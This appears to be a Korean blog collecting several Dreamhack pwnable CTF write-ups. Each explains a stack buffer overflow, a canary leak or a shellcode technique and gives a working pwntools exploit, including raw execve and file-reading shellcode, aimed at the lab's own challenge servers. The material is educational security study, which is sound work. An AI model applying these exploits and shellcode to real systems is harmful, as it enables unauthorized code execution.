728x90

풀이

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() { 
    system("/bin/sh");
} 
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}

제공된 코드를 살펴보면 box와 name 모두 크기가 0x40으로 지정되어 있다. box는 정해진 크기만큼 입력을 받고, name은 사용자가 입력한 크기만큼 입력을 받는데 입력 크기 제한이 따로 있지 않아서 이 부분에서 버퍼오버플로우가 발생한다.  그리고 P 부분에서 입력된 인덱스의 box 값을 읽어주는데 따로 입력 인덱스에 제한을 두고 있지 않다. 이 부분에서느 카나리릭이 발생한다.

 

이제 gdb를 통해서 스택프레임 형태를 확인해보자.  while 안쪽 부분만 살펴보자.

   0x08048795 <+106>:   push   0x2
   0x08048797 <+108>:   lea    eax,[ebp-0x8a]  #select
   0x0804879d <+114>:   push   eax
   0x0804879e <+115>:   push   0x0
   0x080487a0 <+117>:   call   0x80484a0 <read@plt> #read(0, select,2)
   0x080487a5 <+122>:   add    esp,0xc

   0x080487d3 <+168>:   push   0x40
   0x080487d5 <+170>:   lea    eax,[ebp-0x88] #box
   0x080487db <+176>:   push   eax
   0x080487dc <+177>:   push   0x0
   0x080487de <+179>:   call   0x80484a0 <read@plt> #read(0,box, sizeof(box))
   0x080487e3 <+184>:   add    esp,0xc

   0x080487f5 <+202>:   add    esp,0x4
   0x080487f8 <+205>:   lea    eax,[ebp-0x94] #idx
   0x080487fe <+211>:   push   eax
   0x080487ff <+212>:   push   0x804898a
   0x08048804 <+217>:   call   0x8048540 <__isoc99_scanf@plt> #scanf("%d", &idx)
   0x08048809 <+222>:   add    esp,0x8

   0x0804882e <+259>:   add    esp,0x4
   0x08048831 <+262>:   lea    eax,[ebp-0x90] #name_len
   0x08048837 <+268>:   push   eax
   0x08048838 <+269>:   push   0x804898a
   0x0804883d <+274>:   call   0x8048540 <__isoc99_scanf@plt> #scanf("%d", &name_len)
   0x08048842 <+279>:   add    esp,0x8

   0x0804884f <+292>:   add    esp,0x4
   0x08048852 <+295>:   mov    eax,DWORD PTR [ebp-0x90] #name_len
   0x08048858 <+301>:   push   eax
   0x08048859 <+302>:   lea    eax,[ebp-0x48] #name
   0x0804885c <+305>:   push   eax
   0x0804885d <+306>:   push   0x0
   0x0804885f <+308>:   call   0x80484a0 <read@plt> #read(0, name, name_len)
   0x08048864 <+313>:   add    esp,0xc

[ebp-0x8a] : select
[ebp-0x88] : box
[ebp-0x94] : idx
[ebp-0x48] : name
[ebp-0x90] : name_len

인 것을 알 수 있다.

 

먼저 반환주소를 확인해주고, 

그 다음 SFP를 확인해주고,

적당히 돌리고 ebp-0x8에서부터 8개 바이트값을 읽어보았다. 그리고 canary 값을 확인해본 결과, dummy 값이 있다는 것을 알 수 있다. 

(사실 나는 이런 유식한 방법을 쓰지 않고 print_box를 이용해서 최대한 많은 메모리값을 출력해서 스택이 끝나는 지점, canary와 SFP 사이에 더미가 있다는 사실을 때려맞췄다.. 하나하나 세봤다 ㅎ)

알아낸 정보를 바탕으로 익스플로잇 코드를 작성했다. 

from pwn import *

p = remote('host3.dreamhack.games', 20417)
e = ELF("./ssp_001") 

get_shell = e.symbols['get_shell'] 

cnry = b'' 

for i in range(128,132):
    p.recvuntil(b'>')
    p.sendline(b'P')
    p.sendlineafter(b':', b'%d' % i)
    p.recvuntil(b': ')
    canary_byte = p.recvn(2) 
    cnry += bytes.fromhex(canary_byte.decode())

print("cannary:", cnry)

p.recvuntil(b'>')
p.sendline(b'E')

p.recvuntil(b':')
p.sendline(b'80')

payload = b'A'* 64 + cnry + b'A'* 8 + p32(get_shell)
p.sendlineafter(b':',payload)

p.interactive()

print_box를 이용해서 canary 값을 찾아냈다. 여기서 꼭 바이트 형식(\x)에 맞게 해줘야한다는 걸 잊지말아야한다. 이것 때문에 한참 헤맸다. 그리고 canary 값과 함께 버퍼오버플로우를 발생시키는 페이로드를 작성하여 넘겨주었다.

그리고 코드를 실행하면 셸을 얻고 flag 파일을 읽을 수 있다!

배운것

1. byte 형식! 잊지말기

2. `ELF`와 `symbols`를 이용하면 함수주소를 찾는 작업을 하지 않아도 된다!

'Write-up > Pwnable' 카테고리의 다른 글

[Dreamhack] Return to Shellcode  (0) 2024.05.22
[Dreamhack] basic_exploitation_001  (0) 2024.05.20
[Dreamhack] basic_exploitation_000  (0) 2024.05.20
[Dreamhack] Return Address Overwrite  (0) 2024.05.20
[Dreamhack] shell_basic  (0) 2024.05.11
728x90

풀이

// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  char buf[0x50];

  init();

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);

  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

  return 0;
}

주어진 문제 코드를 살펴보면 버퍼크기는 0x50인데 입력받는 크기에 제한이 없다. 또, read(0,buf,0x100) 부분에서 0x100까지 읽어올 수 있는데 여기서 canary leak이 발생할 수 있다. 

바이너리를 실행시켜봤을 때 buf와 $rbp 사이의 간격이 96이다. 

 

`checksec ./r2s` 명령어를 통해 보호기법을 확인해보면 위와 같이 나온다. amd 64 아키텍처를 사용하고, 카나리를 사용하니 스택프레임은 아래와 같이 유추할 수 있다.

 

<스택프레임>  

 

canary의 첫번째 null 값을 처리해주면 canary leak에 성공할 수 있을 것 같다. 그러면 일단 canary leak에 대한 익스프로잇 코드를 작성해보자. 

from pwn import *

p = process('./r2s')

payload = b'A'*0x59 #buf + dummy + canary 첫자리 Null

p.sendlineafter(b':',payload)

p.interactive()

 

코드를 실행해보면 canary leak이 발생한 것을 볼 수 있다. 

 

이제 canary를 얻었으니, buf에 셸코드를 입력하고 return address에 buf 주소를 덮어써주면 셸코드가 실행될 것이다.  

from pwn import *

p = remote('host3.dreamhack.games', 14421)
context.arch = 'amd64'

p.recvuntil(b'buf: ')
buf = int(p.recvline()[:-1], 16) ## return address에 넣어줄 buf 주소 저장

payload = b'A'*0x59 #buf + dummy + canary 첫자리 Null

p.sendafter(b'Input: ',payload)
p.recvuntil(payload)
cnry = u64(b'\x00'+p.recvn(7))

sh = asm(shellcraft.sh())
payload = sh.ljust(0x58, b'A') + p64(cnry) + b'B'*0x8 + p64(buf)
p.sendlineafter(b'Input:', payload)

p.interactive()

익스플로잇 코드는 위와 같이 작성했다. 

코드를 실행해보면 셸을 얻고 flag를 확인할 수 있다.

 


배운것

1. `sendafter`와 `sendlineafter`함수를 잘 구분해서 사용하자.
     read 함수 일때는 send / scanf 함수일 때는 sendline
     ex) `ABC\n`을 입력, read는 0x4142430a, scnaf는 0x414243로 읽어옴. (0x0a : 줄바꿈문자)

2. `def slog(n,m): return success(':'.join([n,hex(m)]))` 를 간단히 정의해서 로그를 확인하면서 익스플로잇하면 편하다

3. `shellcraft.sh()` : 셸을 실행하는 셸코드를 생성

4. `asm()` : 어셈블리 코드를 기계어 코드로 변환

5.  `str.ljust(width, fillchar=' ')` : 문자열(str)을 왼쪽으로 정렬하고, 남은 공간을 지정한 문자로 채움. 여기서 width는 채우려는 전체 문자열의 길이. 

6. u64 : 8바이트 길이의 바이트 문자열은 64비트 정수로 변환, 리틀엔디안 형식으로 인코딩된 데이터 해석에 유용

7. p64 : 64비트 정수를 리틀 엔디언 형식의 8바이트 문자열로 변환

(u64와 p64는 아직 적응이 필요하다)

 

'Write-up > Pwnable' 카테고리의 다른 글

[Dreamhack] ssp_001  (0) 2024.05.24
[Dreamhack] basic_exploitation_001  (0) 2024.05.20
[Dreamhack] basic_exploitation_000  (0) 2024.05.20
[Dreamhack] Return Address Overwrite  (0) 2024.05.20
[Dreamhack] shell_basic  (0) 2024.05.11
728x90

 

풀이

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    gets(buf);

    return 0;
}

소스코드를 살펴보면 buf 크기가 0x80인데 gets를 통해 받는 buf 크기에는 제약이 없어 버퍼오버플로우 취약점이 발생한다. 그러면 이제 return address를 read_flag 함수의 주소로 설정하면 flag를 얻을 수 있을 것이다.

gdb를 통해 read_flag의 주소가 0x080485b9인 것을 확인했다.

from pwn import *         

p = remote('host3.dreamhack.games', 20650)

payload = b'A'*0x84 
payload += p32(0x080485b9)

p.sendline(payload)
p.interactive()

buf와 SFP 부분은 모두 A로 채우고 return address를 read_flag의 주소값으로 하는 페이로드를 작성했다.

코드를 실행해보면 flag를 얻을 수 있다. 

'Write-up > Pwnable' 카테고리의 다른 글

[Dreamhack] ssp_001  (0) 2024.05.24
[Dreamhack] Return to Shellcode  (0) 2024.05.22
[Dreamhack] basic_exploitation_000  (0) 2024.05.20
[Dreamhack] Return Address Overwrite  (0) 2024.05.20
[Dreamhack] shell_basic  (0) 2024.05.11
728x90

풀이

주어진 바이너리를 실행시켜 보면 어떤 값이 나오고 입력을 받는다. 소스코드를 확인해보자. 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

코드의 main함수를 살펴보면 프린트된 값이 bufer의 주소값인 것을 확인할 수 있다. 이때 주의 깊게 살펴야 되는 부분이 buf 크기가 0x80(128)으로 지정되어 있는데 scanf를 통해서 입력받는 buf의 크기는 141까지 가능하다. 이 부분을 buffer overflow를 발생시킨다. 

 

우리는 shell을 얻어서 flag를 확인해야한다. 이전의 쉘코드 강의에서 나왔던 execve 셸코드를 실행시킬 수 있으면 shell을 얻을 수 있을 것 같다.

buf에 셸코드를 입력하고 return address를 buf 주소로 조작한다면 셸코드 실행이 가능할 것 같다.

 

<스택프레임>

 

위 내용으로 익스플로잇 코드를 작성해보았다.

from pwn import *         

p = remote('host3.dreamhack.games', 19436)

p.recvuntil("buf = (")
buf_addr = int(p.recv(10),16)

payload = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
payload += b"A" * 106

payload += p32(buf_addr)

p.sendline(payload)
p.interactive()

총 132byte를 채워야하는데, 쉘코드가 26byte이기 때문에 나머지는 A로 채웠다. 그리고 먼저 저장해둔 버퍼 주소를 little endian으로 변환시켜 붙여 payload를 완성했다.

코드를 실행시키면 shell을 얻을 수 있고 flag를 읽을 수 있다.

 

 

'Write-up > Pwnable' 카테고리의 다른 글

[Dreamhack] ssp_001  (0) 2024.05.24
[Dreamhack] Return to Shellcode  (0) 2024.05.22
[Dreamhack] basic_exploitation_001  (0) 2024.05.20
[Dreamhack] Return Address Overwrite  (0) 2024.05.20
[Dreamhack] shell_basic  (0) 2024.05.11
728x90

풀이

// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf);

  return 0;
}

제공된 코드를 살펴보자.

buf 크기는 0x28인데 scanf를 통해 입력받는 buf 크기에 제한이 없는 것을 확인할 수 있다. 이 부분에서 buffer overflow 취약점이 발생할 수 있다.

flag를 읽어오기 위해서는 shell을 얻어야하는데, 그 부분은 get_shell 함수를 실행시키면 될 것 같다. get_shell 함수를 실행시키기 위해서 스택프레임의 return address 부분에 get_shell 함수의 주소값을 입력하는 공격을 하면 된다.

 

<스택프레임>

 

익스플로잇 코드를 작성하기 전에 get_shell 함수의 주소를 알아보자.

gdb를 통해 get_shell 주소가 0x4006aa인 것을 알았다.

from pwn import *         

p = remote('host3.dreamhack.games', 13098)

payload = b'A'*0x38   #buf 0x30 + sfp 0x8
payload += p64(0x4006aa)

p.sendlineafter(b':', payload)        

p.interactive()

buf와 sfp를 모두 A로 채우고 return address를 get_shell 주소로하는 payload를 작성했다.

해당 코드를 실행하면 shell을 얻을 수 있다! 이를 통해 flag 파일을 읽어볼 수 있다. 

'Write-up > Pwnable' 카테고리의 다른 글

[Dreamhack] ssp_001  (0) 2024.05.24
[Dreamhack] Return to Shellcode  (0) 2024.05.22
[Dreamhack] basic_exploitation_001  (0) 2024.05.20
[Dreamhack] basic_exploitation_000  (0) 2024.05.20
[Dreamhack] shell_basic  (0) 2024.05.11
728x90

풀이

먼저 flag파일의 경로를 hex로 변환한다. 여기서 리틀엔티안방식으로 정렬하는거 기억해야한다!

section .text
global _start
_start:
    
    push 0x0
    mov rax, 0x676e6f6f6f6f6f6f
    push rax
    mov rax, 0x6c5f73695f656d61
    push rax
    mov rax, 0x6e5f67616c662f63
    push rax
    mov rax, 0x697361625f6c6c65
    push rax
    mov rax, 0x68732f656d6f682f
    push rax
    mov rdi, rsp    
    xor rsi, rsi    
    xor rdx, rdx    
    mov rax, 2      
    syscall         

    mov rdi, rax      
    mov rsi, rsp
    sub rsi, 0x30     
    mov rdx, 0x30     
    mov rax, 0x0      
    syscall           

    mov rdi, 1        
    mov rax, 0x1      
    syscall

그리고 문제에 나와있는 참고 코드와 로드맵의 예시 orw 셸코드를 활용하여 코드를 작성한다.

여기서 push 0x0은 문자열의 끝을 나타내는 널 종료자를 스택에 푸시하는 것이다. 이거 안 해서 한참 헤맸다.

문제의 참고 코드를 활용하여 바이트 코드로 바꾸었다. 

\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05

툴을 이용해서 형식을 변환해주었다.

서버 접속해서 셸코드를 입력했는데 아무일도 일어나지 않는다. 문제의 댓글을 보니 pwn 모듈을 사용해서 서버에 전송해야한다고 한다. 왤까..

from pwn import *

r = remote('host3.dreamhack.games', 21732)

shell = b'\x6a\x00\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\xba\x30\x00\x00\x00\xb8\x00\x00\x00\x00\x0f\x05\xbf\x01\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05'

r.sendlineafter(b'shellcode:', shell)

r.interactive()

코드를 작성하고 실행해줬다. 

flag를 얻었다!

'Write-up > Pwnable' 카테고리의 다른 글

[Dreamhack] ssp_001  (0) 2024.05.24
[Dreamhack] Return to Shellcode  (0) 2024.05.22
[Dreamhack] basic_exploitation_001  (0) 2024.05.20
[Dreamhack] basic_exploitation_000  (0) 2024.05.20
[Dreamhack] Return Address Overwrite  (0) 2024.05.20

+ Recent posts